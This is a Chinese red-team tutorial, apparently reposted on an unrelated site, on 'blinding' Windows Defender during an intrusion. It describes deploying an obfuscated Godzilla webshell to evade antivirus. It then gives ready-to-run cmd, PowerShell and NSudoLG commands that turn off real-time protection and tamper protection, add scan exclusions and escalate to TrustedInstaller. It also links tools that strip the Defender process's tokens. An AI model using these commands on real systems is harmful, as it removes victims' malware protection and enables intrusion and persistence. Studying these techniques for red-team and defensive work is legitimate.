红蓝对抗之致盲 Windows defender |
您所在的位置:网站首页 › win8windows defender关闭 › 红蓝对抗之致盲 Windows defender |
Windows defender 介绍 Microsoft Defender 防病毒软件在 Windows 10 和 Windows 11 以及 Windows Server 版本中可用。 Microsoft Defender 防病毒软件是 Microsoft Defender for Endpoint 中下一代保护的主要组件。这种保护将机器学习、大数据分析、深入的威胁防御研究和 Microsoft 云基础设施结合在一起,以保护您组织中的设备(或端点)。Microsoft Defender 防病毒软件内置于 Windows 中,它与 Microsoft Defender for Endpoint 配合使用,为你的设备和云提供保护。 Windows defender 环境systeminfo 信息 在实战环境中,首先需要上传webshell,所以在此必须免杀webshell web环境:phpstudy 8.1.1.3 + apache 2.4.39 + php 7.3.4 哥斯拉 webshell 免杀工具地址:https://github.com/BeichenDream/Godzilla 经过测试,用Godzilla自带的PHP_XOR_BASE64加密器即可免杀(php一句话直接杀) 生成 PHP_XOR_BASE64 webshellTrustedInstaller是从Windows Vista开始出现的一个内置安全主体,在Windows中拥有修改系统文件权限,本身是一个服务,以一个账户组的形式出现。 它的全名是:NT SERVICE\TrustedInstaller 那么为什么要获取TrustedInstaller权限? 说白了就是因为Administratior权限和system权限的cmd无法关闭Windows defender(powershell可以) 注意:以下工具和技巧皆需要Administratior权限或者system权限才能成功使用 基础命令介绍cmd#查看排除项 reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s #查看版本 dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b #查看篡改保护(返回结果中的 数值5代表开启,数值4代表关闭) reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" #需要TrustedInstaller权限 ##cmd注册表关闭Windows defender reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f ##cmd关闭篡改保护 NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 4 /t REG_DWORD /f" ##cmd注册表恢复Windows defender reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f ##cmd添加Windows defender排除项 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /fpowershell#查看排除项 Get-MpPreference | select ExclusionPath #关闭Windows defender Set-MpPreference -DisableRealTimeMonitoring $true #增加排除项 Add-MpPreference -ExclusionPath "c:\temp" #删除排除项 Remove-MpPreference -ExclusionPath "C:\test" #关闭实时保护 Set-MpPreference -DisableRealtimeMonitoring $trueNSudoLG工具地址:https://github.com/M2Team/NSudo 下载后使用:D:\Documents\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe 免杀测试注意:此工具的 -U:T 参数是获取了 TrustedInstaller 权限 #cmd注册表关闭Windows defender reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f #cmd注册表恢复Windows defender reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f #cmd添加Windows defender排除项 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f #NSudoLG.exe关闭Windows defender NSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f" #NSudoLG.exe恢复Windows defender NSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f" #NSudoLG.exe添加Windows defender排除项 NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f"地址:https://www.nirsoft.net/utils/advanced_run.html 免杀测试Github地址:https://github.com/lab52io/StopDefender 免杀测试配置和管理 Microsoft Defender 防病毒软件的命令行工具 详情https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/command-line-arguments-microsoft-defender-antivirus?view=o365-worldwide 寻找MpCmdRun位置MpCmdRun的位置为: C:\ProgramData\Microsoft\Windows Defender\Platform\ #查看版本(查看) dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b #验证 dir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2210.6-0\" | findstr MpCmdRunWindows Defender进程为MsMpEng.exe,MsMpEng.exe是一个受保护的进程(Protected Process Light,简写为PPL) 非 PPL 进程无法获取 PPL 进程的句柄,导致我们无法直接结束 PPL 进程 MsMpEng.exe, 但是我们能够以 SYSTEM 权限运行的线程修改进程 MsMpEng.exe 的 token, 当我们移除进程 MsMpEng.exe 的所有 token 后,进程 MsMpEng.exe 无法访问其他进程的资源,也就无法检测其他进程是否有害,最终导致 Windows Defender 失效。 本人没有利用成功过 https://github.com/pwn1sher/KillDefender https://github.com/Octoberfest7/KillDefender https://github.com/Octoberfest7/KDStab 参考文章https://mp.weixin.qq.com/s/27rvHpsnldnxpJaxwQrLGw https://zhuanlan.zhihu.com/p/538571344 https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Windows-Defender https://cloud.tencent.com/developer/article/1870239 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |